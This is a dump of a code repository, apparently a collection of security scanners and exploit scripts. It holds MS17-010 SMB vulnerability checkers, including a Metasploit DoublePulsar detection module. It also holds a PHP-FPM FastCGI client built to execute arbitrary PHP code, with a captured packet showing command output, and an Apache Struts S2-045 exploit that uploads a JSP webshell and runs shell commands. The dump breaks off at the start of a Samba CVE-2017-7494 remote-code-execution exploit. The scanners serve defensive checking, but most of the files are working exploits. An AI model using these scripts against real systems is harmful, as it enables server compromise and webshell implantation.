tree_connect_andx_request = [ 212 | '\x04', # Word Count 213 | '\xFF', # AndXCommand: No further commands 214 | '\x00', # Reserved 215 | '\x00\x00', # AndXOffset 216 | '\x00\x00', # Flags 217 | '\x01\x00', # Password Length 218 | '\x1C\x00', # Byte Count 219 | '\x00', # Password 220 | ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ 221 | '\x3f\x3f\x3f\x3f\x3f\x00' # Service 222 | ] 223 | 224 | length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) 225 | # netbios[1] = '\x00' + struct.pack('>H', length) 226 | netbios[1] = struct.pack(">L", length)[-3:] 227 | 228 | return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) 229 | 230 | 231 | def peeknamedpipe_request(treeid, processid, userid, multiplex_id): 232 | """Generate tran2 request 233 | """ 234 | log.debug("generate peeknamedpipe request") 235 | netbios = [ 236 | '\x00', # 'Message_Type' 237 | '\x00\x00\x4a' # 'Length' 238 | ] 239 | 240 | smb_header = [ 241 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 242 | '\x25', # 'smb_command': Trans2 243 | '\x00\x00\x00\x00', # 'nt_status' 244 | '\x18', # 'flags' 245 | '\x01\x28', # 'flags2' 246 | '\x00\x00', # 'process_id_high' 247 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 248 | '\x00\x00', # 'reserved' 249 | treeid, 250 | processid, 251 | userid, 252 | multiplex_id 253 | ] 254 | 255 | tran_request = [ 256 | '\x10', # Word Count 257 | '\x00\x00', # Total Parameter Count 258 | '\x00\x00', # Total Data Count 259 | '\xff\xff', # Max Parameter Count 260 | '\xff\xff', # Max Data Count 261 | '\x00', # Max Setup Count 262 | '\x00', # Reserved 263 | '\x00\x00', # Flags 264 | '\x00\x00\x00\x00', # Timeout: Return immediately 265 | '\x00\x00', # Reversed 266 | '\x00\x00', # Parameter Count 267 | '\x4a\x00', # Parameter Offset 268 | '\x00\x00', # Data Count 269 | '\x4a\x00', # Data Offset 270 | '\x02', # Setup Count 271 | '\x00', # Reversed 272 | '\x23\x00', # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) 273 | '\x00\x00', # SMB Pipe Protocol: FID 274 | '\x07\x00', 275 | '\x5c\x50\x49\x50\x45\x5c\x00' # \PIPE\ 276 | ] 277 | 278 | return generate_smb_proto_payload(netbios, smb_header, tran_request) 279 | 280 | 281 | def trans2_request(treeid, processid, userid, multiplex_id): 282 | """Generate trans2 request. 283 | """ 284 | log.debug("generate tran2 request") 285 | netbios = [ 286 | '\x00', # 'Message_Type' 287 | '\x00\x00\x4f' # 'Length' 288 | ] 289 | 290 | smb_header = [ 291 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 292 | '\x32', # 'smb_command': Trans2 293 | '\x00\x00\x00\x00', # 'nt_status' 294 | '\x18', # 'flags' 295 | '\x07\xc0', # 'flags2' 296 | '\x00\x00', # 'process_id_high' 297 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 298 | '\x00\x00', # 'reserved' 299 | treeid, 300 | processid, 301 | userid, 302 | multiplex_id 303 | ] 304 | 305 | trans2_request = [ 306 | '\x0f', # Word Count 307 | '\x0c\x00', # Total Parameter Count 308 | '\x00\x00', # Total Data Count 309 | '\x01\x00', # Max Parameter Count 310 | '\x00\x00', # Max Data Count 311 | '\x00', # Max Setup Count 312 | '\x00', # Reserved 313 | '\x00\x00', # Flags 314 | '\xa6\xd9\xa4\x00', # Timeout: 3 hours, 3.622 seconds 315 | '\x00\x00', # Reversed 316 | '\x0c\x00', # Parameter Count 317 | '\x42\x00', # Parameter Offset 318 | '\x00\x00', # Data Count 319 | '\x4e\x00', # Data Offset 320 | '\x01', # Setup Count 321 | '\x00', # Reserved 322 | '\x0e\x00', # subcommand: SESSION_SETUP 323 | '\x00\x00', # Byte Count 324 | '\x0c\x00' + '\x00' * 12 325 | ] 326 | 327 | return generate_smb_proto_payload(netbios, smb_header, trans2_request) 328 | 329 | 330 | #检测函数 331 | def check(ip, port=445) : 332 | 333 | try: 334 | buffersize = 1024 335 | timeout = 5.0 336 | 337 | #构造套接字,并连接至445 338 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 339 | client.settimeout(timeout) 340 | client.connect((ip, port)) 341 | 342 | # SMB - Negotiate Protocol Request 343 | raw_proto = negotiate_proto_request() 344 | client.send(raw_proto) 345 | tcp_response = client.recv(buffersize) 346 | 347 | # SMB - Session Setup AndX Request 348 | raw_proto = session_setup_andx_request() 349 | client.send(raw_proto) 350 | tcp_response = client.recv(buffersize) 351 | 352 | netbios = tcp_response[:4] 353 | smb_header = tcp_response[4:36] # SMB Header: 32 bytes 354 | smb = SMB_HEADER(smb_header) 355 | 356 | user_id = struct.pack('".format(sys.argv[0])) 425 | sys.exit(1) 426 | else: 427 | check(sys.argv[1]) -------------------------------------------------------------------------------- /MS17-010/scanners/smb_ms17_010.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Auxiliary 7 | 8 | include Msf::Exploit::Remote::SMB::Client 9 | include Msf::Exploit::Remote::SMB::Client::Authenticated 10 | 11 | include Msf::Auxiliary::Scanner 12 | include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'MS17-010 SMB RCE Detection', 17 | 'Description' => %q{ 18 | Uses information disclosure to determine if MS17-010 has been patched or not. 19 | Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0. 20 | If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does 21 | not have the MS17-010 patch. 22 | 23 | If the machine is missing the MS17-010 patch, the module will check for an 24 | existing DoublePulsar (ring 0 shellcode/malware) infection. 25 | 26 | This module does not require valid SMB credentials in default server 27 | configurations. It can log on as the user "\" and connect to IPC$. 28 | }, 29 | 'Author' => 30 | [ 31 | 'Sean Dillon ', # @zerosum0x0 32 | 'Luke Jennings' # DoublePulsar detection Python code 33 | ], 34 | 'References' => 35 | [ 36 | [ 'CVE', '2017-0143'], 37 | [ 'CVE', '2017-0144'], 38 | [ 'CVE', '2017-0145'], 39 | [ 'CVE', '2017-0146'], 40 | [ 'CVE', '2017-0147'], 41 | [ 'CVE', '2017-0148'], 42 | [ 'MSB', 'MS17-010'], 43 | [ 'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], 44 | [ 'URL', 'https://github.com/countercept/doublepulsar-detection-script'], 45 | [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx'] 46 | ], 47 | 'License' => MSF_LICENSE 48 | )) 49 | end 50 | 51 | # algorithm to calculate the XOR Key for DoublePulsar knocks 52 | def calculate_doublepulsar_xor_key(s) 53 | x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) 54 | x & 0xffffffff # this line was added just to truncate to 32 bits 55 | end 56 | 57 | # The arch is adjacent to the XOR key in the SMB signature 58 | def calculate_doublepulsar_arch(s) 59 | s == 0 ? 'x86 (32-bit)' : 'x64 (64-bit)' 60 | end 61 | 62 | def run_host(ip) 63 | begin 64 | ipc_share = "\\\\#{ip}\\IPC$" 65 | 66 | tree_id = do_smb_setup_tree(ipc_share) 67 | vprint_status("Connected to #{ipc_share} with TID = #{tree_id}") 68 | 69 | status = do_smb_ms17_010_probe(tree_id) 70 | vprint_status("Received #{status} with FID = 0") 71 | 72 | if status == "STATUS_INSUFF_SERVER_RESOURCES" 73 | print_good("Host is likely VULNERABLE to MS17-010! (#{simple.client.peer_native_os})") 74 | report_vuln( 75 | host: ip, 76 | name: self.name, 77 | refs: self.references, 78 | info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ -- (#{simple.client.peer_native_os})' 79 | ) 80 | 81 | # vulnerable to MS17-010, check for DoublePulsar infection 82 | code, signature1, signature2 = do_smb_doublepulsar_probe(tree_id) 83 | 84 | if code == 0x51 85 | xor_key = calculate_doublepulsar_xor_key(signature1).to_s(16).upcase 86 | arch = calculate_doublepulsar_arch(signature2) 87 | print_warning("Host is likely INFECTED with DoublePulsar! - Arch: #{arch}, XOR Key: 0x#{xor_key}") 88 | report_vuln( 89 | host: ip, 90 | name: "MS17-010 DoublePulsar Infection", 91 | refs: self.references, 92 | info: "MultiPlexID += 0x10 on Trans2 request - Arch: #{arch}, XOR Key: 0x#{xor_key}" 93 | ) 94 | end 95 | elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE" 96 | # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) 97 | print_bad("Host does NOT appear vulnerable.") 98 | else 99 | print_bad("Unable to properly detect if host is vulnerable.") 100 | end 101 | 102 | rescue ::Interrupt 103 | print_status("Exiting on interrupt.") 104 | raise $! 105 | rescue ::Rex::Proto::SMB::Exceptions::LoginError 106 | print_error("An SMB Login Error occurred while connecting to the IPC$ tree.") 107 | rescue ::Exception => e 108 | vprint_error("#{e.class}: #{e.message}") 109 | ensure 110 | disconnect 111 | end 112 | end 113 | 114 | def do_smb_setup_tree(ipc_share) 115 | connect 116 | 117 | # logon as user \ 118 | simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) 119 | 120 | # connect to IPC$ 121 | simple.connect(ipc_share) 122 | 123 | # return tree 124 | return simple.shares[ipc_share] 125 | end 126 | 127 | def do_smb_doublepulsar_probe(tree_id) 128 | # make doublepulsar knock 129 | pkt = make_smb_trans2_doublepulsar(tree_id) 130 | 131 | sock.put(pkt) 132 | bytes = sock.get_once 133 | 134 | # convert packet to response struct 135 | pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct 136 | pkt.from_s(bytes[4..-1]) 137 | 138 | return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] 139 | end 140 | 141 | def do_smb_ms17_010_probe(tree_id) 142 | # request transaction with fid = 0 143 | pkt = make_smb_trans_ms17_010(tree_id) 144 | sock.put(pkt) 145 | bytes = sock.get_once 146 | 147 | # convert packet to response struct 148 | pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct 149 | pkt.from_s(bytes[4..-1]) 150 | 151 | # convert error code to string 152 | code = pkt['SMB'].v['ErrorClass'] 153 | smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new 154 | 155 | return smberr.get_error(code) 156 | end 157 | 158 | def make_smb_trans2_doublepulsar(tree_id) 159 | # make a raw transaction packet 160 | # this one is a trans2 packet, the checker is trans 161 | pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct 162 | simple.client.smb_defaults(pkt['Payload']['SMB']) 163 | 164 | # opcode 0x0e = SESSION_SETUP 165 | setup = "\x0e\x00\x00\x00" 166 | setup_count = 1 # 1 word 167 | trans = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 168 | 169 | # calculate offsets to the SetupData payload 170 | base_offset = pkt.to_s.length + (setup.length) - 4 171 | param_offset = base_offset + trans.length 172 | data_offset = param_offset # + 0 173 | 174 | # packet baselines 175 | pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION2 176 | pkt['Payload']['SMB'].v['Flags1'] = 0x18 177 | pkt['Payload']['SMB'].v['MultiplexID'] = 65 178 | pkt['Payload']['SMB'].v['Flags2'] = 0xc007 179 | pkt['Payload']['SMB'].v['TreeID'] = tree_id 180 | pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count 181 | pkt['Payload'].v['Timeout'] = 0x00a4d9a6 182 | pkt['Payload'].v['ParamCountTotal'] = 12 183 | pkt['Payload'].v['ParamCount'] = 12 184 | pkt['Payload'].v['ParamCountMax'] = 1 185 | pkt['Payload'].v['DataCountMax'] = 0 186 | pkt['Payload'].v['ParamOffset'] = 66 187 | pkt['Payload'].v['DataOffset'] = 78 188 | 189 | pkt['Payload'].v['SetupCount'] = setup_count 190 | pkt['Payload'].v['SetupData'] = setup 191 | pkt['Payload'].v['Payload'] = trans 192 | 193 | pkt.to_s 194 | end 195 | 196 | def make_smb_trans_ms17_010(tree_id) 197 | # make a raw transaction packet 198 | pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct 199 | simple.client.smb_defaults(pkt['Payload']['SMB']) 200 | 201 | # opcode 0x23 = PeekNamedPipe, fid = 0 202 | setup = "\x23\x00\x00\x00" 203 | setup_count = 2 # 2 words 204 | trans = "\\PIPE\\\x00" 205 | 206 | # calculate offsets to the SetupData payload 207 | base_offset = pkt.to_s.length + (setup.length) - 4 208 | param_offset = base_offset + trans.length 209 | data_offset = param_offset # + 0 210 | 211 | # packet baselines 212 | pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION 213 | pkt['Payload']['SMB'].v['Flags1'] = 0x18 214 | pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode 215 | pkt['Payload']['SMB'].v['TreeID'] = tree_id 216 | pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count 217 | pkt['Payload'].v['ParamCountMax'] = 0xffff 218 | pkt['Payload'].v['DataCountMax'] = 0xffff 219 | pkt['Payload'].v['ParamOffset'] = param_offset 220 | pkt['Payload'].v['DataOffset'] = data_offset 221 | 222 | # actual magic: PeekNamedPipe FID=0, \PIPE\ 223 | pkt['Payload'].v['SetupCount'] = setup_count 224 | pkt['Payload'].v['SetupData'] = setup 225 | pkt['Payload'].v['Payload'] = trans 226 | 227 | pkt.to_s 228 | end 229 | end 230 | -------------------------------------------------------------------------------- /MS17-010/test: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /PHP-FPM Fastcgi漏洞/fpm.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import socket 4 | import random 5 | import argparse 6 | import sys 7 | from io import BytesIO 8 | 9 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client 10 | 11 | PY2 = True if sys.version_info.major == 2 else False #判断当前Python编译器版本 12 | 13 | 14 | #根据编译器的版本用不同方法将i转换成byte型 15 | def bchr(i) : 16 | 17 | if PY2: 18 | return force_bytes(chr(i)) 19 | else: 20 | return bytes([i]) 21 | 22 | 23 | #将c转换成int型 24 | def bord(c) : 25 | 26 | if isinstance(c, int): 27 | return c 28 | else: 29 | return ord(c) 30 | 31 | 32 | #将s强制转换成byte型 33 | def force_bytes(s) : 34 | 35 | if isinstance(s, bytes): 36 | return s 37 | else: 38 | return s.encode('utf-8', 'strict') 39 | 40 | 41 | #将s转换成string型 42 | def force_text(s) : 43 | 44 | if issubclass(type(s), str): 45 | return s 46 | if isinstance(s, bytes): 47 | s = str(s, 'utf-8', 'strict') 48 | else: 49 | s = str(s) 50 | return s 51 | 52 | 53 | class FastCGIClient : 54 | """A Fast-CGI Client for Python""" 55 | 56 | # private 57 | __FCGI_VERSION = 1 58 | 59 | __FCGI_ROLE_RESPONDER = 1 60 | __FCGI_ROLE_AUTHORIZER = 2 61 | __FCGI_ROLE_FILTER = 3 62 | 63 | __FCGI_TYPE_BEGIN = 1 64 | __FCGI_TYPE_ABORT = 2 65 | __FCGI_TYPE_END = 3 66 | __FCGI_TYPE_PARAMS = 4 67 | __FCGI_TYPE_STDIN = 5 68 | __FCGI_TYPE_STDOUT = 6 69 | __FCGI_TYPE_STDERR = 7 70 | __FCGI_TYPE_DATA = 8 71 | __FCGI_TYPE_GETVALUES = 9 72 | __FCGI_TYPE_GETVALUES_RESULT = 10 73 | __FCGI_TYPE_UNKOWNTYPE = 11 74 | 75 | __FCGI_HEADER_SIZE = 8 76 | 77 | # request state 78 | FCGI_STATE_SEND = 1 79 | FCGI_STATE_ERROR = 2 80 | FCGI_STATE_SUCCESS = 3 81 | 82 | 83 | #初始化IP,端口,超时时间,存活保持标志 84 | def __init__(self, host, port, timeout, keepalive) : 85 | 86 | self.host = host 87 | self.port = port 88 | self.timeout = timeout 89 | if keepalive: 90 | self.keepalive = 1 91 | else: 92 | self.keepalive = 0 93 | self.sock = None 94 | self.requests = dict() 95 | 96 | 97 | #创建套接字,并进行连接 98 | def __connect(self) : 99 | 100 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | self.sock.settimeout(self.timeout) 102 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 103 | 104 | # if self.keepalive: 105 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) 106 | # else: 107 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) 108 | 109 | try : 110 | self.sock.connect((self.host, int(self.port))) 111 | except socket.error as msg : 112 | self.sock.close() 113 | self.sock = None 114 | print(repr(msg)) 115 | return False 116 | 117 | return True 118 | 119 | 120 | #将整个fastcgi结构按对应的格式加密 121 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid) : 122 | 123 | length = len(content) 124 | buf = bchr(FastCGIClient.__FCGI_VERSION) \ 125 | + bchr(fcgi_type) \ 126 | + bchr((requestid >> 8) & 0xFF) \ 127 | + bchr(requestid & 0xFF) \ 128 | + bchr((length >> 8) & 0xFF) \ 129 | + bchr(length & 0xFF) \ 130 | + bchr(0) \ 131 | + bchr(0) \ 132 | + content 133 | 134 | return buf 135 | 136 | 137 | #将用户输入的fastcgi结构按对应的格式加密 138 | def __encodeNameValueParams(self, name, value) : 139 | 140 | nLen = len(name) 141 | vLen = len(value) 142 | record = b'' 143 | if nLen < 128: 144 | record += bchr(nLen) 145 | else: 146 | record += bchr((nLen >> 24) | 0x80) \ 147 | + bchr((nLen >> 16) & 0xFF) \ 148 | + bchr((nLen >> 8) & 0xFF) \ 149 | + bchr(nLen & 0xFF) 150 | if vLen < 128: 151 | record += bchr(vLen) 152 | else: 153 | record += bchr((vLen >> 24) | 0x80) \ 154 | + bchr((vLen >> 16) & 0xFF) \ 155 | + bchr((vLen >> 8) & 0xFF) \ 156 | + bchr(vLen & 0xFF) 157 | 158 | return record + name + value 159 | 160 | 161 | #解密整个fastcgi结构 162 | def __decodeFastCGIHeader(self, stream) : 163 | 164 | header = dict() 165 | header['version'] = bord(stream[0]) 166 | header['type'] = bord(stream[1]) 167 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) 168 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) 169 | header['paddingLength'] = bord(stream[6]) 170 | header['reserved'] = bord(stream[7]) 171 | 172 | return header 173 | 174 | 175 | #解密用户输入的fastcgi结构 176 | def __decodeFastCGIRecord(self, buffer) : 177 | 178 | header = buffer.read(int(self.__FCGI_HEADER_SIZE)) 179 | 180 | if not header : 181 | return False 182 | else : 183 | record = self.__decodeFastCGIHeader(header) 184 | record['content'] = b'' 185 | 186 | if 'contentLength' in record.keys() : 187 | contentLength = int(record['contentLength']) 188 | record['content'] += buffer.read(contentLength) 189 | if 'paddingLength' in record.keys() : 190 | skiped = buffer.read(int(record['paddingLength'])) 191 | 192 | return record 193 | 194 | 195 | #nameValuePairs为用户构造的fastcgi结构体,post为用户输入的恶意代码 196 | def request(self, nameValuePairs={}, post='') : 197 | 198 | #若套接字连接失败 199 | if not self.__connect() : 200 | print('connect failure! please check your fasctcgi-server !!') 201 | return 202 | 203 | requestId = random.randint(1, (1 << 16) - 1) 204 | self.requests[requestId] = dict() 205 | request = b"" 206 | 207 | beginFCGIRecordContent = bchr(0) \ 208 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ 209 | + bchr(self.keepalive) \ 210 | + bchr(0) * 5 211 | 212 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, 213 | beginFCGIRecordContent, requestId) 214 | paramsRecord = b'' 215 | 216 | if nameValuePairs : 217 | for (name, value) in nameValuePairs.items() : 218 | name = force_bytes(name) 219 | value = force_bytes(value) 220 | paramsRecord += self.__encodeNameValueParams(name, value) 221 | 222 | if paramsRecord : 223 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) 224 | 225 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) 226 | 227 | if post : 228 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) 229 | 230 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) 231 | 232 | self.sock.send(request) 233 | self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND 234 | self.requests[requestId]['response'] = b'' 235 | 236 | return self.__waitForResponse(requestId) 237 | 238 | 239 | #接受服务端回传的敏感信息 240 | def __waitForResponse(self, requestId) : 241 | 242 | data = b'' 243 | while True: 244 | buf = self.sock.recv(512) 245 | if not len(buf): 246 | break 247 | data += buf 248 | 249 | data = BytesIO(data) 250 | 251 | while True: 252 | response = self.__decodeFastCGIRecord(data) 253 | if not response: 254 | break 255 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ 256 | or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 257 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 258 | self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR 259 | if requestId == int(response['requestId']): 260 | self.requests[requestId]['response'] += response['content'] 261 | if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: 262 | self.requests[requestId] 263 | 264 | return self.requests[requestId]['response'] 265 | 266 | 267 | #套接字连接失败时的错误输出 268 | def __repr__(self) : 269 | 270 | return "fastcgi connect host:{} port:{}".format(self.host, self.port) 271 | 272 | 273 | #主函数 274 | if __name__ == '__main__' : 275 | 276 | parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') 277 | parser.add_argument('host', help='Target host, such as 127.0.0.1') 278 | parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') 279 | parser.add_argument('-c', '--code', help='What php code your want to execute', default='') 280 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) 281 | 282 | args = parser.parse_args() 283 | 284 | client = FastCGIClient(args.host, args.port, 3, 0) #传入参数url,port,超时时间3s,不keeplive 285 | params = dict() 286 | documentRoot = "/" 287 | uri = args.file #uri为用户输入的目标文件 288 | content = args.code #content为用户输入的恶意代码 289 | 290 | #fastcgi结构体 291 | params = { 292 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 293 | 'REQUEST_METHOD': 'POST', 294 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 295 | 'SCRIPT_NAME': uri, 296 | 'QUERY_STRING': '', 297 | 'REQUEST_URI': uri, 298 | 'DOCUMENT_ROOT': documentRoot, 299 | 'SERVER_SOFTWARE': 'php/fcgiclient', 300 | 'REMOTE_ADDR': '127.0.0.1', 301 | 'REMOTE_PORT': '9985', 302 | 'SERVER_ADDR': '127.0.0.1', 303 | 'SERVER_PORT': '80', 304 | 'SERVER_NAME': "localhost", 305 | 'SERVER_PROTOCOL': 'HTTP/1.1', 306 | 'CONTENT_TYPE': 'application/text', 307 | 'CONTENT_LENGTH': "%d" % len(content), 308 | 'PHP_VALUE': 'auto_prepend_file = php://input', 309 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 310 | } 311 | 312 | response = client.request(params, content) #调用request函数发送请求 313 | print(force_text(response)) -------------------------------------------------------------------------------- /PHP-FPM Fastcgi漏洞/packert.txt: -------------------------------------------------------------------------------- 1 | ...>...............>...... 2 | CONTENT_LENGTH25.. 3 | CONTENT_TYPEapplication/text.. 4 | REMOTE_PORT9985. 5 | SERVER_NAMElocalhost.. 6 | GATEWAY_INTERFACEFastCGI/1.0.. 7 | SERVER_SOFTWAREphp/fcgiclient. 8 | REMOTE_ADDR127.0.0.1.. 9 | SCRIPT_FILENAME/usr/local/lib/php/System.php.. 10 | SCRIPT_NAME/usr/local/lib/php/System.php . 11 | PHP_VALUEauto_prepend_file = php://input.. 12 | REQUEST_METHODPOST.. 13 | SERVER_PORT80.. 14 | SERVER_PROTOCOLHTTP/1.1.. 15 | QUERY_STRING.. 16 | PHP_ADMIN_VALUEallow_url_include = On 17 | .DOCUMENT_ROOT/. 18 | SERVER_ADDR127.0.0.1.. 19 | REQUEST_URI/usr/local/lib/php/System.php 20 | ...>.......>.......>.... 21 | 22 | ...>.y.. 23 | X-Powered-By: PHP/7.1.4 24 | Content-type: text/html; charset=UTF-8 25 | 26 | uid=33(www-data) gid=33(www-data) groups=33(www-data) 27 | ..........>.........ole -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python-Code 2 | 积累了安全扫描及各类exploit的python脚本 3 | -------------------------------------------------------------------------------- /S2-045漏洞/getshell.py: -------------------------------------------------------------------------------- 1 | import urllib,urllib2,sys,ssl,getopt 2 | 3 | def exp(url,payload): 4 | try: 5 | opener = urllib2.build_opener() 6 | urllib2.install_opener(opener) 7 | req = urllib2.Request(url) 8 | req.add_header('Content-Type',payload) 9 | return opener.open(req, "").read() 10 | except urllib2.URLError,e: 11 | return "fail" 12 | return "fail" 13 | 14 | jspCode = "By<%if(request.getParameter(\\\"f\\\")!=null)(new java.io.FileOutputStream(application.getRealPath(\\\"/\\\")+request.getParameter(\\\"f\\\"))).write(request.getParameter(\\\"c\\\").getBytes());%>Luan" 15 | 16 | print "S2-045 Exploit // Code By Luan Come Form St0rs Security Team" 17 | opts, args = getopt.getopt(sys.argv[1:], "u:c:p:") 18 | 19 | url,cmd,path = "","","" 20 | 21 | for op, value in opts: 22 | if op == '-u': 23 | url = value 24 | elif op == '-c': 25 | cmd = value 26 | elif op == '-p': 27 | path = value 28 | 29 | if url == "": 30 | clr.print_red_text("Useage : exp.py -u url [-c cmd] [-p upfilePath]") 31 | 32 | sys.exit(0) 33 | 34 | if cmd == "": 35 | if path == "": 36 | path = "#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')" 37 | else: 38 | path = "'" + path + "'" 39 | print "upload webshell ..." 40 | payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=" + path + ").(#shell='" + jspCode + "').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/luan.jsp').append(#shell)).close()).(#cmd='echo path:'+#path).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 41 | 42 | else: 43 | print "run " + cmd + " ..." 44 | payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 45 | 46 | result = exp(url,payload) 47 | 48 | if result == "fail": 49 | print "Exploit Fail" 50 | else: 51 | print result 52 | -------------------------------------------------------------------------------- /Samba_3.5.0/rce.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # Title : ETERNALRED 3 | # Date: 05/24/2017 4 | # Exploit Author: steelo 5 | # Vendor Homepage: https://www.samba.org 6 | # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 7 | # CVE-2017-7494 8 | 9 | 10 | import argparse 11 | import os.path 12 | import sys 13 | import tempfile 14 | import time 15 | from smb.SMBConnection import SMBConnection 16 | from smb import smb_structs 17 | from smb.base import _PendingRequest 18 | from smb.smb2_structs import * 19 | from smb.base import * 20 | 21 | 22 | class SharedDevice2(SharedDevice): 23 | def __init__(self, type, name, comments, path, password): 24 | super().__init__(type, name, comments) 25 | self.path = path 26 | self.password = password 27 | 28 | class SMBConnectionEx(SMBConnection): 29 | def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): 30 | super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) 31 | 32 | 33 | def hook_listShares(self): 34 | self._listShares = self.listSharesEx 35 | 36 | def hook_retrieveFile(self): 37 | self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix 38 | 39 | # This is maily the original listShares but request a higher level of info 40 | def listSharesEx(self, callback, errback, timeout = 30): 41 | if not self.has_authenticated: 42 | 